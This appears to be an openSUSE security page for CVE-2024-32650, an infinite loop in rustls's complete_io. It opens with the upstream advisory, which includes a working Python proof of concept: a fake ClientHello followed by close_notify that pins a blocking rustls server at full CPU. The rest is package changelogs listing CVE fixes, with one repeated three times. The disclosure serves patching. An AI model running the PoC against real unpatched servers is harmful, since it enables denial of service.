CVE-2024-32650

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

• eof: false
• until_handshaked: true
• self.is_handshaking(): true
• self.wants_write(): false
• self.wants_read(): false

PoC

1. Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
2. Run following python script

   #!/usr/bin/env python3
   
   import socket
   
   sock = socket.socket()
   sock.connect(("localhost", 4443))
   
   print("Sending client hello...")
   
   # Fake handshake data of a client hello message.
   fake_handshake = """
   1603 0100 c801 0000 c403 03ec 12dd
   1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
   a051 f03c b817 470d 4c54 c5df 7200 001c
   eaea c02b c02f c02c c030 cca9 cca8 c013
   c014 009c 009d 002f 0035 000a 0100 007f
   dada 0000 ff01 0001 0000 0000 1600 1400
   0011 7777 772e 7769 6b69 7065 6469 612e
   6f72 6700 1700 0000 2300 0000 0d00 1400
   1204 0308 0404 0105 0308 0505 0108 0606
   0102 0100 0500 0501 0000 0000 0012 0000
   0010 000e 000c 0268 3208 6874 7470 2f31
   2e31 7550 0000 000b 0002 0100 000a 000a
   0008 1a1a 001d 0017 0018 1a1a 0001 00
   """
   
   
   def parse_fake_handshake():
       i = 0
       data = bytearray()
       while i < len(fake_handshake):
           while i < len(fake_handshake) and fake_handshake[i].isspace():
               i += 1
           if i >= len(fake_handshake):
               return data
   
           c1 = fake_handshake[i]
           c2 = fake_handshake[i + 1]
           i += 2
   
           data.append(int(c1, 16) * 16 + int(c2, 16))
       return data
   
   
   data = parse_fake_handshake()
   
   print("Fake client hello:", data)
   
   sock.send(data)
   
   # Send close_notify alert that we're closing the connection.
   close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
   print(f"close_notify is {close_data}")
   sock.send(close_data)
   print("close_notify sent")
   
   exit(0)
   

3. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

If a close_notify alert is received during a handshake, complete_io does not terminate.

Callers which do not call complete_io are not affected.

rustls-tokio and rustls-ffi do not call complete_io and are not affected.

rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

Rustls is a modern TLS library written in Rust. rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

This update for git-cliff fixes the following issues:

• update to 2.2.2:

  • (changelog) Allow adding custom context
  • (changelog) Ignore empty lines when using split_commits
  • (parser) Allow matching empty commit body
  • Documentation updates

• update to 2.2.1:

  • Make rendering errors more verbose
  • Support detecting config from project manifest
  • Make the bump version rules configurable
  • bug fixes and documentation updates

• CVE-2024-32650: rust-rustls: Infinite loop with proper client input fixes (boo#1223218)

• Update to version 2.1.2:

  • feat(npm): add programmatic API for TypeScript
  • chore(fixtures): enable verbose logging for output
  • refactor(clippy): apply clippy suggestions
  • refactor(changelog): do not output to stdout when prepend is used
  • feat(args): add --tag-pattern argument
  • fix(config): fix commit parser regex in the default config
  • fix(github): sanitize the GitHub token in debug logs
  • chore(config): add animation to the header of the changelog
  • refactor(clippy): apply clippy suggestions
  • docs(security): update security policy
  • chore(project): add readme to core package
  • chore(embed): do not allow missing docs
  • chore(config): skip dependabot commits for dev updates
  • docs(readme): mention RustLab 2023 talk
  • chore(config): revamp the configuration files
  • chore(docker): update versions in Dockerfile
  • chore(example): use full links in GitHub templates
  • chore(project): bump MSRV to 1.74.1
  • revert(config): use postprocessors for checking the typos
  • feat(template): support using PR labels in the GitHub template
  • docs(configuration): fix typo
  • feat(args): add --no-exec flag for skipping command execution
  • chore(command): explicitly set the directory of command to current dir
  • refactor(ci): use hardcoded workspace members for cargo-msrv command
  • refactor(ci): simplify cargo-msrv installation
  • refactor(clippy): apply clippy suggestions
  • refactor(config): use postprocessors for checking the typos
  • chore(project): update copyright years
  • chore(github): update templates about GitHub integration
  • feat(changelog): set the timestamp of the previous release
  • feat(template): support using PR title in the GitHub template
  • feat(changelog): improve skipping via .cliffignore and --skip-commit
  • chore(changelog): disable the default behavior of next-version
  • fix(git): sort commits in topological order
  • test(changelog): use the correct version for missing tags
  • chore(changelog): use 0.1.0 as default next release if no tag is found
  • feat(github)!: support integration with GitHub repos
  • refactor(changelog): support --bump for processed releases
  • fix(cli): fix broken pipe when stdout is interrupted
  • test(fixtures): update the bumped value output to add prefix
  • feat(changelog): support tag prefixes with --bump
  • feat(changelog)!: set tag to 0.0.1 via --bump if no tags exist
  • fix(commit): trim the trailing newline from message
  • docs(readme): use the raw link for the animation
  • chore(example): remove limited commits example
  • feat(args): add -x short argument for --context
  • revert(deps): bump actions/upload-pages-artifact from 2 to 3
  • revert(deps): bump actions/deploy-pages from 3 to 4
  • chore(dependabot): group the dependency updates for creating less PRs
  • feat(parser): support using SHA1 of the commit
  • feat(commit): add merge_commit flag to the context
  • chore(mergify): don't update PRs for the main branch
  • fix(links): skip checking the GitHub commit URLs
  • fix(changelog): fix previous version links
  • feat(parser): support using regex scope values
  • test(fixture): update the date for example test fixture
  • docs(fixtures): add instructions for adding new fixtures
  • feat(args): support initialization with built-in templates
  • feat(changelog)!: support templating in the footer
  • feat(args): allow returning the bumped version *…

These are all security issues fixed in the shadowsocks-rust-1.18.3-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the teleport-15.2.4-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the topgrade-14.0.1-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the kubetui-1.5.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the tlrc-1.9.2+0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the keylime-ima-policy-0.2.5~0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the sccache-0.8.0~3-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the git-cliff-2.2.2-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the gitoxide-0.38.0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for gitoxide fixes the following issues:

Changes in gitoxide:

• Update to 0.56.0:

  • Fixes CVE-2026-40034 (boo#1266434): the CommandForbiddenInModules trust check could be bypassed in gix_submodule::File::update(), which allowed arbitrary command execution from a crafted .gitmodules file
  • Fixes a submodule name validation bypass that allowed traversal out of .git/modules and disclosure of credentials
  • Fixes symlinked .gitmodules files being followed and parsed from outside the repository
  • Fixes several denial-of-service vectors in gix-pack: unchecked indexing panics and uncapped allocations from crafted pack data
  • Fixes HTTP credentials being leaked to the redirected host by the curl transport backend
  • Add the gix config show, gix config list, gix config fmt, gix free remote refs, gix free trust, gix dirwalk and gix tix subcommands
  • Add a gix status --untracked flag and gix merge tree --message for creating commits
  • gix exclude query is now index-aware and no longer reports ignore matches for tracked files, matching git check-ignore
  • Preserve all configured remote URLs rather than only the last one
  • Fix fetching and cloning with tag refspecs in shallow clones, relative worktree linking files and loose ref path-prefix collisions
  • Update the crates to the Rust 2024 edition

• Refresh the vendored dependencies. Recording the state of the remaining open CVE bugs against this version, none of which it is affected by:

  • CVE-2026-25541 (boo#1274525): the vendored bytes is now 1.12.1, above the 1.11.1 fix
  • CVE-2025-22620 (boo#1236139): gix-worktree-state is 0.33.0, far above the 0.17.0 that fixed the world-writable checkout of executable files

• update to 0.50.0: see https://github.com/GitoxideLabs/gitoxide/compare/v0.42.0...v0.50.0

• update to 0.42.0:

  • add first 'debug' version of gix diff file
  • use revspecs for revision and path
  • CVE-2025-31130: use collision-detecting SHA-1 hash boo#1240872

• Update to version 0.41.0:

  • add gix blame -L start,end
  • add gix env to print paths relevant to the Git installation.
  • Document the remaining subcommands
  • Add support for statistics and additional performance information.
  • add gix blame to the CLI. That way it's possible to see the blame result of any file in the repository.

• Updates from version 0.40.0:

  • add first 'debug' version of gix log. It's primarily meant to better understand gix blame.
  • add --tree-favor to gix merge tree|commit. With it one can decide which side to favor in case of irreconcilable tree-conflicts.
  • CVE-2025-22620: gix-worktree-state specifies 0777 permissions when checking out executable files (boo#1236139)

• Update to version 0.39.0: New Features

  • add gix merge commit --debug
  • add gix merge commits
  • add gix merge tree to merge trees similarly to git merge-tree.

• Update to version 0.38.0: New Features

  • support for listing worktrees with gix worktree list
  • add first 'debug' version of gix diff tree.
  • add new gix cat command.
  • add gix merge-file with similar features as git merge-file
  • gix merge-base for the CLI Bug Fixes
  • Adjust gix clean warning and help for worktree fix
  • Clarify -r/--repositories and --skip-hidden-repositories Other
  • switch from time to jiff
  • Unify style in config support info

This update for rust-keylime fixes the following issues:

• Update to version 0.2.7+141:

  • CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)

• Update to version 0.2.7+117:

  • CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).
  • CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).
  • CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).
  • CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).
  • CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).
  • rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)

This update for rust-keylime fixes the following issues:

• Update to version 0.2.7+141:

  • CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)

• Update to version 0.2.7+117:

  • CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).
  • CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).
  • CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).
  • CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).
  • CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).
  • rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)

This update for rust-keylime fixes the following issues:

• Update to version 0.2.7+141:

  • CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)

• Update to version 0.2.7+117:

  • CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).
  • CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).
  • CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).
  • CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).
  • CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).
  • rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)

This update for gstreamer-plugins-rs fixes the following issues:

Update to version 0.12.11 (jsc#PED-13826):

• CVE-2024-32650: Fixed infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223219).

This update for rust-keylime fixes the following issues:

• Update vendored crates (CVE-2024-43806, bsc#1229952, bsc#1230029)

  • rustix 0.37.25
  • rustix 0.38.34
  • shlex 1.3.0

• Update to version 0.2.6+13:

  • Enable test functional/iak-idevid-persisted-and-protected
  • build(deps): bump uuid from 1.7.0 to 1.10.0
  • build(deps): bump openssl from 0.10.64 to 0.10.66
  • keylime-agent/src/revocation: Fix comment indentation
  • keylime/crypto: Fix indentation of documentation comment
  • build(deps): bump thiserror from 1.0.59 to 1.0.63
  • build(deps): bump serde_json from 1.0.116 to 1.0.120
  • dependabot: Extend to also monitor workflow actions
  • ci: Disable Packit CI on CentOS Stream 9
  • ci: use CODECOV_TOKEN when submitting coverage data
  • revocation: Use into() for unfallible transformation
  • secure_mount: Fix possible infinite loop
  • error: Rename enum variants to avoid clippy warning

• Update to version 0.2.6~0:

  • Bump version to 0.2.6
  • build(deps): bump libc from 0.2.153 to 0.2.155
  • build(deps): bump serde from 1.0.196 to 1.0.203
  • rpm/fedora: Update rust macro usage
  • config: Support hostnames in registrar_ip option
  • added use of persisted IAK and IDevID and authorisation values
  • config changes
  • Adding /agent/info API to agent
  • Fix leftover 'unnecessary qualification' warnings on tests

• Update to version 0.2.5~4:

  • Fix 'unnecessary qualification' warnings
  • fix IAK template to match IDevID
  • rpm: fix COPR RPMs build for centos-stream-10
  • Build COPR RPMs for centos-stream-10

• Update to version 0.2.5~0:

  • Bump version to 0.2.5
  • cargo: Relax required version for pest crate
  • build(deps): bump log from 0.4.20 to 0.4.21
  • build(deps): bump thiserror from 1.0.56 to 1.0.59

• actix-web update moves rustls as feature (bsc#1223234, CVE-2024-32650)

• Update to version 0.2.4~39:

  • build(deps): bump openssl from 0.10.63 to 0.10.64
  • build(deps): bump h2 from 0.3.24 to 0.3.26
  • build(deps): bump serde_json from 1.0.107 to 1.0.116
  • build(deps): bump actix-web from 4.4.1 to 4.5.1
  • crypto: Enable TLS 1.3
  • build(deps): bump tempfile from 3.9.0 to 3.10.1
  • build(deps): bump mio from 0.8.4 to 0.8.11
  • enable hex values to be used for tpm_ownerpassword
  • config: Support IPv6 with or without brackets
  • keylime: Implement a simple IP parser to remove brackets
  • crypto: Implement CertificateBuilder to generate certificates
  • tests: Fix coverage download by supporting arbitrary URL
  • cargo: Add testing feature to keylime library
  • Set X509 SAN with local DNSname/IP/IPv6
  • Include newest Node20 versions for Github actions
  • tpm: Add unit test for uncovered public functions
  • crypto: Implement ECC key generation support
  • crypto: Add test for match_cert_to_template()
  • Fix minor typo, format and remove end whitespaces
  • crypto: Make error types less specific
  • tests/run.sh: Run tarpaulin with a single thread
  • payloads: Remove explicit drop of channel transmitter
  • crypto: Move to keylime library
  • crypto: Add specific type for every possible error
  • tpm: Rename origin of error as source in structures
  • list_parser: Add source for error for backtrace
  • algorithms: Make errors more specific
  • typo fix for default path to measured boot log file
  • README: remove mentions of libarchive as a dependency
  • Dockerfile.wolfi: Update clang to version 17
  • docker: Remove libarchive as a dependency
  • rpm: Remove libarchive from dependencies
  • cargo: Replace compress-tools with zip crate
  • cargo: Bump ahash to version 0.8.7
  • build(deps): bump serde from 1.0.195 to 1.0.196
  • build(deps): bump libc from 0.2.152 to 0.2.153
  • build(deps): bump reqwest from 0.11.23 to 0.11.24
  • docker: Install configuration file in the correct path
  • config: Make IAK/IDevID disabled by default

• Update to version 0.2.4+git.1706692574.a744517:

  • Bump version to 0.2.4
  • build(deps): bump uuid from 1.4.1 to 1.7.0 *…

This update for sccache fixes the following issues:

Update to version 0.15.0~17.

• CVE-2023-26964: hyper,h2: high resource consumption due to stream stacking when H2 component processes HTTP2 RST_STREAM frames (bsc#1210346).
• CVE-2024-32650: rust-rustls: infinite loop in rustls::conn::ConnectionCommon:complete_io() when processing client input network input (bsc#1223238).
• CVE-2025-3416: openssl: use-after-free in Md::fetch and Cipher::fetch (bsc#1242611).
• CVE-2026-25727: time: stack exhaustion in the RFC 2822 date parser when processing certain user provided input (bsc#1257923).
• CVE-2026-41676: openssl: short buffer overflow via Deriver:derive and PkeyCtxRef:derive when using OpenSSL 1.1.1 (bsc#1270206).
• CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length (bsc#1270559).
• CVE-2026-41678: openssl: OOB write due to incorrect bounds assertion in aes::unwrap_key() (bsc#1270693).
• CVE-2026-41681: openssl: stack corruption due to MdCtxRef::digest_final() writing past caller buffer with no length check (bsc#1270736).
• CVE-2026-41898: openssl: information leak to network peers due to unchecked callback-returned length in PSK and cookie generate trampolines (bsc#1270869).
• CVE-2026-42327: openssl: undefined behavior in X509Ref::ocsp_responders when processing certificates with non-UTF-8 OCSP URLs (bsc#1270512).
• CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding (bsc#1270938).
• CVE-2026-45784: openssl: out-of-bounds write in CipherCtxRef::cipher_update_inplace for AES-KW-PAD ciphers (bsc#1270948).